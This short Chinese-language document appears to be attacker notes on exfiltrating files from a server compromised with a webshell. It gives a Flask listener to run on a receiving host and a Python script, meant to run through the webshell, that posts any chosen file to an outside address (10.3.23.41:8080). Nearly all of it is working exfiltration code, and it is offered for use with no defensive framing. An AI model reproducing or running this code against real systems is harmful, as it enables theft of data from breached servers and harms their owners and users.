擁有webshell的服務器可以ping通主機A,這就表明webshell可以向主機A post一些數據。
在主機A上開啟一個接受文件的http服務,在webshell中使用文件上傳命令進行上傳。
主機A:
import flask
from flask import request
app = flask.Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def upload():
if request.method == 'GET':
return "I am ok,please post file"
elif request.method == "POST":
file = request.files['file']
file.save(file.filename)
return "upload successful"
else:
return "Plese use get or post method"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
webshell
import requests
import sys
f = sys.argv[1]
targetName = sys.argv[2]
resp = requests.post("http://10.3.23.41:8080", files={
"file": (targetName, open(f))
})
print(resp.content)